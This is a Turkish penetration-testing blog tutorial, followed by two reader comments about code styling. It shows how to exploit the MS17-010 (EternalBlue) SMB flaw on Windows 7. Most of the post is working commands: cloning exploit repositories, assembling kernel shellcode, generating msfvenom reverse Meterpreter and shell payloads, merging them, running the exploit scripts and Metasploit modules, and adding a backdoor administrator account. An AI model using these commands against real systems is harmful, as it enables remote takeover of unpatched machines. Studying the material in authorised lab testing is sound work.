Windows Sızma Testlerinde MS17-010 Zafiyetinin İnternetten İndirilen Betikler İle Manuel Olarak İstismarı

2
1841
views
Sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemlerde bir takım yetkiler elde edilebilir. Bu yazıda 32 bitlik Windows 7 işletim sisteminde MS17-010 zafiyeti Github üzerinden indirilen Worawit projesi ile istismar edilecek ve SYSTEM hakları ile ters Meterpreter ve komut satırı (CMD) bağlantısı elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

MS17-010 zafiyeti ile ilgili detaylar ve bu zafiyete sahip sistemlerin tespiti için kaynaklardaki Siberportal yazısı incelenebilir. Ortamdaki 192.168.245.132 IP adresli Windows 7 işletim sisteminde MS17-010 zafiyetinin tespit edildiği görülmüş olsun. Ancak bu işletim sisteminin mimarisi (32 bit veya 64 bit şeklinde) tam olarak tespit edilememektedir. Bu sebeple her 2 işletim sisteminde çalışacak şekilde bir istismar kodu oluşturulacaktır.

 

A) Github Worawit Repo Kodları ile MS17-010 Zafiyetinin İstismarı

MS17-010 zafiyetinin istismarı için bir çok araç bulunmaktadır. Bu başlıkta Github üzerindeki worawit hesabındaki proje kullanılacaktır.

https://github.com/worawit/MS17-010

 

İlgili proje Github üzerinden indirilir.

git clone https://github.com/worawit/MS17-010.git
cd MS17-010/
ls
ls shellcode/

 

/shellcode” dizini altında 2 adet Assembly dosyası ve bir adet Python betiği bulunur. Assembly dosyaları, 64 bit ve 32 bit işletim sistemlerdeki Eternalblue zafiyetini sömürmek için kullanılmaktadır.

cd shellcode/
file *
cat eternalblue_kshellcode_x86.asm | grep -Ev “^;|^$” | head -30

 

İstismar işlemi için öncelikle Assembly komutları, makine diline (Kernel Shellcode) çevirilir. Hedef Windows makine olduğu için DOS .COM, .SYS gibi veri (data / binary) formatla çevirilir.

nasm -f bin eternalblue_kshellcode_x86.asm -o istismarKodu_32.bin
file istismarKodu_32.bin
strings istismarKodu_32.bin
cat istismarKodu_32.bin
nasm -f bin eternalblue_kshellcode_x64.asm -o istismarKodu_64.bin
ls

 

Not: Hazırlanacak olan son istismar kodunun hem 32 bitlik hem de 64 bitlik işletim sisteminde çalışması için 2 Assembly dosyası da makine diline çevrilmiştir.

İstismar sonrasında gerçekleşecek işlemler için msfvenom aracı ile bir payload dosyası oluşturulabilir. Bu amaçla, 32 bitlik işletim sisteminin istismarı sonucunda ters Meterpreter bağlantısı elde etmeyi sağlayacak bir payload hazırlanabilir.

msfvenom -p windows/meterpreter/reverse_https EXITFUNC=thread LHOST=192.168.245.133 LPORT=8888 -f raw -o payload_32.bin
file payload_32.bin
strings payload_32.bin
cat payload_32.bin

 

Benzer olarak, 64 bitlik işletim sisteminin istismarı sonucunda ters Meterpreter bağlantısı elde etmeyi sağlayacak bir payload hazırlanabilir.

msfvenom -p windows/x64/meterpreter/reverse_https EXITFUNC=thread LHOST=192.168.245.133 LPORT=8888 -f raw -o payload_64.bin
ls -l

 

Farklı mimariler için hazırlanan Kernel Shellcode‘un arkasına, istismar sonrası çalışacak payload eklenerek, 2 adet istismar kodu hazırlanır.

cat istismarKodu_32.bin payload_32.bin > MS17-010_32.bin
cat istismarKodu_64.bin payload_64.bin > MS17-010_64.bin
ls -1

 

Hazırlanan 2 dosya woramit/shellcode dizini altındaki gibi kısa bir Python betiği ile farklı mimarilerdeki istismar kodları tek bir istismar dosyasına olacak şekilde birleştirilir.

head -22 eternalblue_sc_merge.py | tail -7
python eternalblue_sc_merge.py MS17-010_32.bin MS17-010_64.bin MS17-010_genel.bin

 

İstismar işlemi sonrasında talebi yakalayacak olan dinleyici başlatılır.

msfconsole -x “use multi/handler; set PAYLOAD windows/meterpreter/reverse_https; set LHOST 192.168.245.133; set LPORT 8888; set ExitOnSession false; set AUTORUNSCRIPT post/windows/manage/migrate; exploit -j -z” -q

 

Keşif sırasında hedef işletim sisteminin Windows 7 olarak tespit edildiği için “eternalblue_exploit7.py” isimli betik ile ters bağlantı elde edilmiş olur.

ls
cd ..
python eternalblue_exploit7.py 192.168.245.132 shellcode/MS17-010_genel.bin 1

 

Not: Yapılan denemelerde meterpreter payloadları (windows/(x64/)meterpreter/reverse_tcp, windows/(x64/)meterpreter/reverse_http, windows/(x64/)meterpreter/reverse_https,…) kullanılması durumunda bazı hedef işletim sistemleri cevap veremez duruma gelebildiği görülmektedir.

 

Not: Benzer olarak Groom bağlantı sayısının arttırılması durumunda da hedef işletim sistemi cevap veremez duruma gelebilmektedir.

Meterpreter payload’u yerine standart komut satırı elde etmeye yarayan payloadların (windows/(x64/)shell_reverse_tcp, windows/(x64/)shell/reverse_tcp gibi) kullanılması tavsiye edilmektedir. Bu gibi bir durumda MSF multi/handler (staged ve non-staged payloadlar için) veya “nc” aracı (sadece non-staged payloadlar için) gibi uygun bir dinleyicinin kullanılması gerektiği de unutulmamalıdır.

nc -nlvp 8888
whoami
systeminfo

 

B) Github 3ndG4me Repo Kodları ile MS17-010 Zafiyetinin İstismarı

Worawit’in hazırladığı projedeki işlemleri hızlı bir şekilde gerçekleştirmek için AutoBlue-MS17-010 reposu da kullanılabilir. Kernel Shellcode‘ların ve Payload‘ların hazırlanması; sonrasında da birleştirilerek asıl istismar kodunun oluşturulması için “shell_prep.sh” betiği kullanılabilir.

git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010/
cd shellcode/
./shell_prep.sh

 

Yapılacak ters bağlantıyı yakalayacak dinleyici “listener_prep.sh” betiği ile başlatılır.

cd..
./listener_prep.sh

 

İstismar işlemi için “shell_prep.sh” ile oluşan “shellcode/sc_all.bin” dosyası kullanılır.

python eternalblue_exploit7.py 192.168.245.132 shellcode/sc_all.bin 1

 

 

C) Metesploit Framework ile MS17-010 Zafiyetinin İstismarı (Ters Bağlantı Elde Etme)

MS17-010 zafiyetinin istismarı ile ters bağlantı elde etmek için Metasploit Framework üzerindeki ms17_010_eternalblue istismar modülü de kullanılabilir. Bu modül sadece 64 bit mimarideki Windows 7 ve Windows Server 2008 R2 işletim sistemlerinde çalışır.

msfconsole -x “use exploit/windows/smb/ms17_010_eternalblue; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set RHOST 192.168.245.136; set LHOST 192.168.245.137; set LPORT 9999; exploit” -q

 

Bu istismar modülü ile Meterpreter bağlantısı elde edilebilir.

getuid
sysinfo

 

Mimari kısıtı olmayacak şekilde bir modülünü Metasploit Framework üzerinde kullanmak için kaynaklardaki CanYouPwn bağlantısı incelenebilir.

 

D) Github helviojunior Repo Kodları ile MS17-010 Zafiyetinin İstismarı

MS17-010 zafiyetinin istismarını gerçekleştirmek için helviojunior reposu da kullanılabilir.

https://github.com/helviojunior/MS17-010

 

send_and_execute.py” adlı python betiği çalıştıracağı komutu (çalıştırılabilir dosyayı) alır. Bu amaçla MSFvenom gibi bir araçla ters bağlantı sağlayacak bir exe dosyası oluşturulabilir.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 EXITFUNC=thread -f exe -a x86 –platform windows -o ZararliTersBaglanti.exe

 

Sonra da istismar işlemi gerçekleştirilebilir.

python send_and_execute.py 5.5.5.5 ZararliTersBaglanti.exe

nc -nlvp 4444

 

E) Metesploit Framework ile MS17-010 Zafiyetinin İstismarı (Komut Çalıştırma)

Ters bağlantı elde edilemeyecek durumlarda, MS17-010 zafiyetinin istismarı ile hedef sistemde komut çalıştırmak için Metasploit Framework üzerindeki ms17_010_command yardımcı modülü de kullanılabilir.

use auxiliary/admin/smb/ms17_010_command
set RHOSTS 10.10.10.10
set COMMAND net user YeniHesap Yy123456 /add
run
set COMMAND net localgroup Administrators YeniHesap /add
run

 

F) Exploit-DB Betiği ile MS17-010 Zafiyetinin İstismarı

Exploit-DB üzerindeki 42315.py betiği kullanılarak da MS17-010 zafiyeti istismar edilebilir. Ancak istismar işlemi için mysmb.py betiğine de ihtiyaç vardır.

https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py

Bunun haricinde hedef sistem üzerinde bir SMB paylaşımına da ihtiyaç bulunmaktadır.

smbclient -L \\W7-PC -N
smbclient \\\\W7-PC\\TespitEdilanPaylasim

İstismar sonrası dinleyiciye gelecek komut çalıştırılır.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.62 LPORT=1337 -f exe > asd.exe

Sonrasında da istismar işlemi gerçekleştirilir ve dinleyici tarafında bu istek yakalanır.

python 42315.py 10.10.10.40 ntsvcs

 

 

Kaynaklar:

https://www.siberportal.org/red-team/windows-operating-system-penetration-tests/windows-sizma-testlerinde-ms17-010-zafiyetinin-tespiti/
http://waf1337.blogspot.com/2017/12/tutorial-ms17-010-in-android-world.html
https://canyoupwn.me/tr-ms17-010-zafiyeti-ve-korunma-yontemleri/
https://pentestworld.blogspot.com/2019/05/hack-box-legacy.html
https://pentestworld.blogspot.com/2019/10/hack-box-blue_20.html

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

2 YORUMLAR

  1. Hocam yazılarınızın içeriği güzel ama kod ve komut yazarken kullandığınız turkuaz renk ile metnin ortalaması çok kötü duruyor.Komutları daha derli toplu gösteren eklentiler var keşke sizde öyle birşey kullansanız

  2. Hasan’a katılıyorum. Bencede yazılarınızda yer alan komutlarda ve kodlarda kullandığınız.Turkuaz rengi hiç güzel olmuyor kodların daha derli toplu gözükmesi için bir eklenti kullansanız çok iyi olurdu.

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.